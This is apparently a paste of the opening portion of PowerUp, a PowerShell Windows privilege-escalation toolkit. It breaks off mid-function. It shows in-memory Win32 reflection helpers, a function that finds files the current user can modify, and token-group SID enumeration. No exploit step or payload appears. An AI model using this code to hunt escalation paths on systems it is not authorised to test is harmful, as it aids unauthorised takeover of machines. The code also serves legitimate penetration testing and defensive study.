· 6 years ago · Sep 26, 2019, 01:30 PM
1#
2 PowerUp aims to be a clearinghouse of common Windows privilege escalation
3 vectors that rely on misconfigurations. See README.md for more information.
4
5 Author: @harmj0y
6 License: BSD 3-Clause
7 Required Dependencies: None
8 Optional Dependencies: None
9#>
10
11#Requires -Version 2
12
13
14########################################################
15#
16# PSReflect code for Windows API access
17# Author: @mattifestation
18# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
19#
20########################################################
21
22function New-InMemoryModule
23{
24<#
25.SYNOPSIS
26
27Creates an in-memory assembly and module
28
29Author: Matthew Graeber (@mattifestation)
30License: BSD 3-Clause
31Required Dependencies: None
32Optional Dependencies: None
33
34.DESCRIPTION
35
36When defining custom enums, structs, and unmanaged functions, it is
37necessary to associate to an assembly module. This helper function
38creates an in-memory module that can be passed to the 'enum',
39'struct', and Add-Win32Type functions.
40
41.PARAMETER ModuleName
42
43Specifies the desired name for the in-memory assembly and module. If
44ModuleName is not provided, it will default to a GUID.
45
46.EXAMPLE
47
48$Module = New-InMemoryModule -ModuleName Win32
49#>
50
51 Param
52 (
53 [Parameter(Position = 0)]
54 [ValidateNotNullOrEmpty()]
55 [String]
56 $ModuleName = [Guid]::NewGuid().ToString()
57 )
58
59 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
60 $LoadedAssemblies = $AppDomain.GetAssemblies()
61
62 foreach ($Assembly in $LoadedAssemblies) {
63 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
64 return $Assembly
65 }
66 }
67
68 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
69 $Domain = $AppDomain
70 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
71 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
72
73 return $ModuleBuilder
74}
75
76
77# A helper function used to reduce typing while defining function
78# prototypes for Add-Win32Type.
79function func
80{
81 Param
82 (
83 [Parameter(Position = 0, Mandatory=$True)]
84 [String]
85 $DllName,
86
87 [Parameter(Position = 1, Mandatory=$True)]
88 [string]
89 $FunctionName,
90
91 [Parameter(Position = 2, Mandatory=$True)]
92 [Type]
93 $ReturnType,
94
95 [Parameter(Position = 3)]
96 [Type[]]
97 $ParameterTypes,
98
99 [Parameter(Position = 4)]
100 [Runtime.InteropServices.CallingConvention]
101 $NativeCallingConvention,
102
103 [Parameter(Position = 5)]
104 [Runtime.InteropServices.CharSet]
105 $Charset,
106
107 [String]
108 $EntryPoint,
109
110 [Switch]
111 $SetLastError
112 )
113
114 $Properties = @{
115 DllName = $DllName
116 FunctionName = $FunctionName
117 ReturnType = $ReturnType
118 }
119
120 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
121 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
122 if ($Charset) { $Properties['Charset'] = $Charset }
123 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
124 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
125
126 New-Object PSObject -Property $Properties
127}
128
129
130function Add-Win32Type
131{
132<#
133.SYNOPSIS
134
135Creates a .NET type for an unmanaged Win32 function.
136
137Author: Matthew Graeber (@mattifestation)
138License: BSD 3-Clause
139Required Dependencies: None
140Optional Dependencies: func
141
142.DESCRIPTION
143
144Add-Win32Type enables you to easily interact with unmanaged (i.e.
145Win32 unmanaged) functions in PowerShell. After providing
146Add-Win32Type with a function signature, a .NET type is created
147using reflection (i.e. csc.exe is never called like with Add-Type).
148
149The 'func' helper function can be used to reduce typing when defining
150multiple function definitions.
151
152.PARAMETER DllName
153
154The name of the DLL.
155
156.PARAMETER FunctionName
157
158The name of the target function.
159
160.PARAMETER EntryPoint
161
162The DLL export function name. This argument should be specified if the
163specified function name is different than the name of the exported
164function.
165
166.PARAMETER ReturnType
167
168The return type of the function.
169
170.PARAMETER ParameterTypes
171
172The function parameters.
173
174.PARAMETER NativeCallingConvention
175
176Specifies the native calling convention of the function. Defaults to
177stdcall.
178
179.PARAMETER Charset
180
181If you need to explicitly call an 'A' or 'W' Win32 function, you can
182specify the character set.
183
184.PARAMETER SetLastError
185
186Indicates whether the callee calls the SetLastError Win32 API
187function before returning from the attributed method.
188
189.PARAMETER Module
190
191The in-memory module that will host the functions. Use
192New-InMemoryModule to define an in-memory module.
193
194.PARAMETER Namespace
195
196An optional namespace to prepend to the type. Add-Win32Type defaults
197to a namespace consisting only of the name of the DLL.
198
199.EXAMPLE
200
201$Mod = New-InMemoryModule -ModuleName Win32
202
203$FunctionDefinitions = @(
204 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
205 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
206 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
207)
208
209$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
210$Kernel32 = $Types['kernel32']
211$Ntdll = $Types['ntdll']
212$Ntdll::RtlGetCurrentPeb()
213$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
214$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
215
216.NOTES
217
218Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
219
220When defining multiple function prototypes, it is ideal to provide
221Add-Win32Type with an array of function signatures. That way, they
222are all incorporated into the same in-memory module.
223#>
224
225 [OutputType([Hashtable])]
226 Param(
227 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
228 [String]
229 $DllName,
230
231 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
232 [String]
233 $FunctionName,
234
235 [Parameter(ValueFromPipelineByPropertyName=$True)]
236 [String]
237 $EntryPoint,
238
239 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
240 [Type]
241 $ReturnType,
242
243 [Parameter(ValueFromPipelineByPropertyName=$True)]
244 [Type[]]
245 $ParameterTypes,
246
247 [Parameter(ValueFromPipelineByPropertyName=$True)]
248 [Runtime.InteropServices.CallingConvention]
249 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
250
251 [Parameter(ValueFromPipelineByPropertyName=$True)]
252 [Runtime.InteropServices.CharSet]
253 $Charset = [Runtime.InteropServices.CharSet]::Auto,
254
255 [Parameter(ValueFromPipelineByPropertyName=$True)]
256 [Switch]
257 $SetLastError,
258
259 [Parameter(Mandatory=$True)]
260 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
261 $Module,
262
263 [ValidateNotNull()]
264 [String]
265 $Namespace = ''
266 )
267
268 BEGIN
269 {
270 $TypeHash = @{}
271 }
272
273 PROCESS
274 {
275 if ($Module -is [Reflection.Assembly])
276 {
277 if ($Namespace)
278 {
279 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
280 }
281 else
282 {
283 $TypeHash[$DllName] = $Module.GetType($DllName)
284 }
285 }
286 else
287 {
288 # Define one type for each DLL
289 if (!$TypeHash.ContainsKey($DllName))
290 {
291 if ($Namespace)
292 {
293 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
294 }
295 else
296 {
297 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
298 }
299 }
300
301 $Method = $TypeHash[$DllName].DefineMethod(
302 $FunctionName,
303 'Public,Static,PinvokeImpl',
304 $ReturnType,
305 $ParameterTypes)
306
307 # Make each ByRef parameter an Out parameter
308 $i = 1
309 foreach($Parameter in $ParameterTypes)
310 {
311 if ($Parameter.IsByRef)
312 {
313 [void] $Method.DefineParameter($i, 'Out', $null)
314 }
315
316 $i++
317 }
318
319 $DllImport = [Runtime.InteropServices.DllImportAttribute]
320 $SetLastErrorField = $DllImport.GetField('SetLastError')
321 $CallingConventionField = $DllImport.GetField('CallingConvention')
322 $CharsetField = $DllImport.GetField('CharSet')
323 $EntryPointField = $DllImport.GetField('EntryPoint')
324 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
325
326 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
327
328 # Equivalent to C# version of [DllImport(DllName)]
329 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
330 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
331 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
332 [Reflection.FieldInfo[]] @($SetLastErrorField,
333 $CallingConventionField,
334 $CharsetField,
335 $EntryPointField),
336 [Object[]] @($SLEValue,
337 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
338 ([Runtime.InteropServices.CharSet] $Charset),
339 $ExportedFuncName))
340
341 $Method.SetCustomAttribute($DllImportAttribute)
342 }
343 }
344
345 END
346 {
347 if ($Module -is [Reflection.Assembly])
348 {
349 return $TypeHash
350 }
351
352 $ReturnTypes = @{}
353
354 foreach ($Key in $TypeHash.Keys)
355 {
356 $Type = $TypeHash[$Key].CreateType()
357
358 $ReturnTypes[$Key] = $Type
359 }
360
361 return $ReturnTypes
362 }
363}
364
365
366function psenum
367{
368<#
369.SYNOPSIS
370
371Creates an in-memory enumeration for use in your PowerShell session.
372
373Author: Matthew Graeber (@mattifestation)
374License: BSD 3-Clause
375Required Dependencies: None
376Optional Dependencies: None
377
378.DESCRIPTION
379
380The 'psenum' function facilitates the creation of enums entirely in
381memory using as close to a "C style" as PowerShell will allow.
382
383.PARAMETER Module
384
385The in-memory module that will host the enum. Use
386New-InMemoryModule to define an in-memory module.
387
388.PARAMETER FullName
389
390The fully-qualified name of the enum.
391
392.PARAMETER Type
393
394The type of each enum element.
395
396.PARAMETER EnumElements
397
398A hashtable of enum elements.
399
400.PARAMETER Bitfield
401
402Specifies that the enum should be treated as a bitfield.
403
404.EXAMPLE
405
406$Mod = New-InMemoryModule -ModuleName Win32
407
408$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
409 UNKNOWN = 0
410 NATIVE = 1 # Image doesn't require a subsystem.
411 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
412 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
413 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
414 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
415 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
416 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
417 EFI_APPLICATION = 10
418 EFI_BOOT_SERVICE_DRIVER = 11
419 EFI_RUNTIME_DRIVER = 12
420 EFI_ROM = 13
421 XBOX = 14
422 WINDOWS_BOOT_APPLICATION = 16
423}
424
425.NOTES
426
427PowerShell purists may disagree with the naming of this function but
428again, this was developed in such a way so as to emulate a "C style"
429definition as closely as possible. Sorry, I'm not going to name it
430New-Enum. :P
431#>
432
433 [OutputType([Type])]
434 Param
435 (
436 [Parameter(Position = 0, Mandatory=$True)]
437 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
438 $Module,
439
440 [Parameter(Position = 1, Mandatory=$True)]
441 [ValidateNotNullOrEmpty()]
442 [String]
443 $FullName,
444
445 [Parameter(Position = 2, Mandatory=$True)]
446 [Type]
447 $Type,
448
449 [Parameter(Position = 3, Mandatory=$True)]
450 [ValidateNotNullOrEmpty()]
451 [Hashtable]
452 $EnumElements,
453
454 [Switch]
455 $Bitfield
456 )
457
458 if ($Module -is [Reflection.Assembly])
459 {
460 return ($Module.GetType($FullName))
461 }
462
463 $EnumType = $Type -as [Type]
464
465 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
466
467 if ($Bitfield)
468 {
469 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
470 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
471 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
472 }
473
474 foreach ($Key in $EnumElements.Keys)
475 {
476 # Apply the specified enum type to each element
477 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
478 }
479
480 $EnumBuilder.CreateType()
481}
482
483
484# A helper function used to reduce typing while defining struct
485# fields.
486function field
487{
488 Param
489 (
490 [Parameter(Position = 0, Mandatory=$True)]
491 [UInt16]
492 $Position,
493
494 [Parameter(Position = 1, Mandatory=$True)]
495 [Type]
496 $Type,
497
498 [Parameter(Position = 2)]
499 [UInt16]
500 $Offset,
501
502 [Object[]]
503 $MarshalAs
504 )
505
506 @{
507 Position = $Position
508 Type = $Type -as [Type]
509 Offset = $Offset
510 MarshalAs = $MarshalAs
511 }
512}
513
514
515function struct
516{
517<#
518.SYNOPSIS
519
520Creates an in-memory struct for use in your PowerShell session.
521
522Author: Matthew Graeber (@mattifestation)
523License: BSD 3-Clause
524Required Dependencies: None
525Optional Dependencies: field
526
527.DESCRIPTION
528
529The 'struct' function facilitates the creation of structs entirely in
530memory using as close to a "C style" as PowerShell will allow. Struct
531fields are specified using a hashtable where each field of the struct
532is comprosed of the order in which it should be defined, its .NET
533type, and optionally, its offset and special marshaling attributes.
534
535One of the features of 'struct' is that after your struct is defined,
536it will come with a built-in GetSize method as well as an explicit
537converter so that you can easily cast an IntPtr to the struct without
538relying upon calling SizeOf and/or PtrToStructure in the Marshal
539class.
540
541.PARAMETER Module
542
543The in-memory module that will host the struct. Use
544New-InMemoryModule to define an in-memory module.
545
546.PARAMETER FullName
547
548The fully-qualified name of the struct.
549
550.PARAMETER StructFields
551
552A hashtable of fields. Use the 'field' helper function to ease
553defining each field.
554
555.PARAMETER PackingSize
556
557Specifies the memory alignment of fields.
558
559.PARAMETER ExplicitLayout
560
561Indicates that an explicit offset for each field will be specified.
562
563.EXAMPLE
564
565$Mod = New-InMemoryModule -ModuleName Win32
566
567$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
568 DOS_SIGNATURE = 0x5A4D
569 OS2_SIGNATURE = 0x454E
570 OS2_SIGNATURE_LE = 0x454C
571 VXD_SIGNATURE = 0x454C
572}
573
574$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
575 e_magic = field 0 $ImageDosSignature
576 e_cblp = field 1 UInt16
577 e_cp = field 2 UInt16
578 e_crlc = field 3 UInt16
579 e_cparhdr = field 4 UInt16
580 e_minalloc = field 5 UInt16
581 e_maxalloc = field 6 UInt16
582 e_ss = field 7 UInt16
583 e_sp = field 8 UInt16
584 e_csum = field 9 UInt16
585 e_ip = field 10 UInt16
586 e_cs = field 11 UInt16
587 e_lfarlc = field 12 UInt16
588 e_ovno = field 13 UInt16
589 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
590 e_oemid = field 15 UInt16
591 e_oeminfo = field 16 UInt16
592 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
593 e_lfanew = field 18 Int32
594}
595
596# Example of using an explicit layout in order to create a union.
597$TestUnion = struct $Mod TestUnion @{
598 field1 = field 0 UInt32 0
599 field2 = field 1 IntPtr 0
600} -ExplicitLayout
601
602.NOTES
603
604PowerShell purists may disagree with the naming of this function but
605again, this was developed in such a way so as to emulate a "C style"
606definition as closely as possible. Sorry, I'm not going to name it
607New-Struct. :P
608#>
609
610 [OutputType([Type])]
611 Param
612 (
613 [Parameter(Position = 1, Mandatory=$True)]
614 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
615 $Module,
616
617 [Parameter(Position = 2, Mandatory=$True)]
618 [ValidateNotNullOrEmpty()]
619 [String]
620 $FullName,
621
622 [Parameter(Position = 3, Mandatory=$True)]
623 [ValidateNotNullOrEmpty()]
624 [Hashtable]
625 $StructFields,
626
627 [Reflection.Emit.PackingSize]
628 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
629
630 [Switch]
631 $ExplicitLayout
632 )
633
634 if ($Module -is [Reflection.Assembly])
635 {
636 return ($Module.GetType($FullName))
637 }
638
639 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
640 Class,
641 Public,
642 Sealed,
643 BeforeFieldInit'
644
645 if ($ExplicitLayout)
646 {
647 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
648 }
649 else
650 {
651 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
652 }
653
654 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
655 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
656 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
657
658 $Fields = New-Object Hashtable[]($StructFields.Count)
659
660 # Sort each field according to the orders specified
661 # Unfortunately, PSv2 doesn't have the luxury of the
662 # hashtable [Ordered] accelerator.
663 foreach ($Field in $StructFields.Keys)
664 {
665 $Index = $StructFields[$Field]['Position']
666 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
667 }
668
669 foreach ($Field in $Fields)
670 {
671 $FieldName = $Field['FieldName']
672 $FieldProp = $Field['Properties']
673
674 $Offset = $FieldProp['Offset']
675 $Type = $FieldProp['Type']
676 $MarshalAs = $FieldProp['MarshalAs']
677
678 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
679
680 if ($MarshalAs)
681 {
682 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
683 if ($MarshalAs[1])
684 {
685 $Size = $MarshalAs[1]
686 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
687 $UnmanagedType, $SizeConst, @($Size))
688 }
689 else
690 {
691 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
692 }
693
694 $NewField.SetCustomAttribute($AttribBuilder)
695 }
696
697 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
698 }
699
700 # Make the struct aware of its own size.
701 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
702 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
703 'Public, Static',
704 [Int],
705 [Type[]] @())
706 $ILGenerator = $SizeMethod.GetILGenerator()
707 # Thanks for the help, Jason Shirk!
708 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
709 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
710 [Type].GetMethod('GetTypeFromHandle'))
711 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
712 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
713 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
714
715 # Allow for explicit casting from an IntPtr
716 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
717 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
718 'PrivateScope, Public, Static, HideBySig, SpecialName',
719 $StructBuilder,
720 [Type[]] @([IntPtr]))
721 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
722 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
723 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
724 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
725 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
726 [Type].GetMethod('GetTypeFromHandle'))
727 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
728 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
729 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
730 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
731
732 $StructBuilder.CreateType()
733}
734
735
736########################################################
737#
738# PowerUp Helpers
739#
740########################################################
741
742function Get-ModifiablePath {
743<#
744 .SYNOPSIS
745
746 Parses a passed string containing multiple possible file/folder paths and returns
747 the file paths where the current user has modification rights.
748
749 Author: @harmj0y
750 License: BSD 3-Clause
751
752 .DESCRIPTION
753
754 Takes a complex path specification of an initial file/folder path with possible
755 configuration files, 'tokenizes' the string in a number of possible ways, and
756 enumerates the ACLs for each path that currently exists on the system. Any path that
757 the current user has modification rights on is returned in a custom object that contains
758 the modifiable path, associated permission set, and the IdentityReference with the specified
759 rights. The SID of the current user and any group he/she are a part of are used as the
760 comparison set against the parsed path DACLs.
761
762 .PARAMETER Path
763
764 The string path to parse for modifiable files. Required
765
766 .PARAMETER LiteralPaths
767
768 Switch. Treat all paths as literal (i.e. don't do 'tokenization').
769
770 .EXAMPLE
771
772 PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
773
774 Path Permissions IdentityReference
775 ---- ----------- -----------------
776 C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
777 C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
778
779 .EXAMPLE
780
781 PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
782
783 Path Permissions IdentityReference
784 ---- ----------- -----------------
785 C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
786 C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
787 ...
788#>
789
790 [CmdletBinding()]
791 Param(
792 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
793 [Alias('FullName')]
794 [String[]]
795 $Path,
796
797 [Switch]
798 $LiteralPaths
799 )
800
801 BEGIN {
802 # # false positives ?
803 # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
804
805 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
806 $AccessMask = @{
807 [uint32]'0x80000000' = 'GenericRead'
808 [uint32]'0x40000000' = 'GenericWrite'
809 [uint32]'0x20000000' = 'GenericExecute'
810 [uint32]'0x10000000' = 'GenericAll'
811 [uint32]'0x02000000' = 'MaximumAllowed'
812 [uint32]'0x01000000' = 'AccessSystemSecurity'
813 [uint32]'0x00100000' = 'Synchronize'
814 [uint32]'0x00080000' = 'WriteOwner'
815 [uint32]'0x00040000' = 'WriteDAC'
816 [uint32]'0x00020000' = 'ReadControl'
817 [uint32]'0x00010000' = 'Delete'
818 [uint32]'0x00000100' = 'WriteAttributes'
819 [uint32]'0x00000080' = 'ReadAttributes'
820 [uint32]'0x00000040' = 'DeleteChild'
821 [uint32]'0x00000020' = 'Execute/Traverse'
822 [uint32]'0x00000010' = 'WriteExtendedAttributes'
823 [uint32]'0x00000008' = 'ReadExtendedAttributes'
824 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
825 [uint32]'0x00000002' = 'WriteData/AddFile'
826 [uint32]'0x00000001' = 'ReadData/ListDirectory'
827 }
828
829 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
830 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
831 $CurrentUserSids += $UserIdentity.User.Value
832
833 $TranslatedIdentityReferences = @{}
834 }
835
836 PROCESS {
837
838 ForEach($TargetPath in $Path) {
839
840 $CandidatePaths = @()
841
842 # possible separator character combinations
843 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
844
845 if($PSBoundParameters['LiteralPaths']) {
846
847 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
848
849 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
850 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
851 }
852 else {
853 # if the path doesn't exist, check if the parent folder allows for modification
854 try {
855 $ParentPath = Split-Path $TempPath -Parent
856 if($ParentPath -and (Test-Path -Path $ParentPath)) {
857 $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
858 }
859 }
860 catch {
861 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
862 }
863 }
864 }
865 else {
866 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
867 $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
868
869 if(($SeparationCharacterSet -notmatch ' ')) {
870
871 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
872
873 if($TempPath -and ($TempPath -ne '')) {
874 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
875 # if the path exists, resolve it and add it to the candidate list
876 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
877 }
878
879 else {
880 # if the path doesn't exist, check if the parent folder allows for modification
881 try {
882 $ParentPath = (Split-Path -Path $TempPath -Parent).Trim()
883 if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) {
884 $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
885 }
886 }
887 catch {
888 # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
889 }
890 }
891 }
892 }
893 else {
894 # if the separator contains a space
895 $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
896 }
897 }
898 }
899 }
900
901 $CandidatePaths | Sort-Object -Unique | ForEach-Object {
902 $CandidatePath = $_
903 Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
904
905 $FileSystemRights = $_.FileSystemRights.value__
906
907 $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
908
909 # the set of permission types that allow for modification
910 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
911
912 if($Comparison) {
913 if ($_.IdentityReference -notmatch '^S-1-5.*') {
914 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
915 # translate the IdentityReference if it's a username and not a SID
916 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
917 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
918 }
919 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
920 }
921 else {
922 $IdentitySID = $_.IdentityReference
923 }
924
925 if($CurrentUserSids -contains $IdentitySID) {
926 New-Object -TypeName PSObject -Property @{
927 ModifiablePath = $CandidatePath
928 IdentityReference = $_.IdentityReference
929 Permissions = $Permissions
930 }
931 }
932 }
933 }
934 }
935 }
936 }
937}
938
939
940function Get-CurrentUserTokenGroupSid {
941<#
942 .SYNOPSIS
943
944 Returns all SIDs that the current user is a part of, whether they are disabled or not.
945
946 Author: @harmj0y
947 License: BSD 3-Clause
948
949 .DESCRIPTION
950
951 First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds
952 this to OpenProcessToken() to open up a handle to the current process token. The API call
953 GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process
954 token. Each group is iterated through and the SID structure is converted to a readable
955 string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of
956 (disabled or not) is returned as a string array.
957
958 .LINK
959
960 https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
961 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx
962 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
963#>
964
965 [CmdletBinding()]
966 Param()
967
968 $CurrentProcess = $Kernel32::GetCurrentProcess()
969
970 $TOKEN_QUERY= 0x0008
971
972 # open up a pseudo handle to the current process- don't need to worry about closing
973 [IntPtr]$hProcToken = [IntPtr]::Zero
974 $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
975
976 if($Success) {
977 $TokenGroupsPtrSize = 0
978 # Initial query to determine the necessary buffer size
979 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize)
980
981 [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize)
982
983 # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
984 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
985
986 if($Success) {
987
988 $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS
989
990 For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) {
991 # convert each token group SID to a displayable string
992 $SidString = ''
993 $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
994 if($Result -eq 0) {
995 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
996 }
997 else {
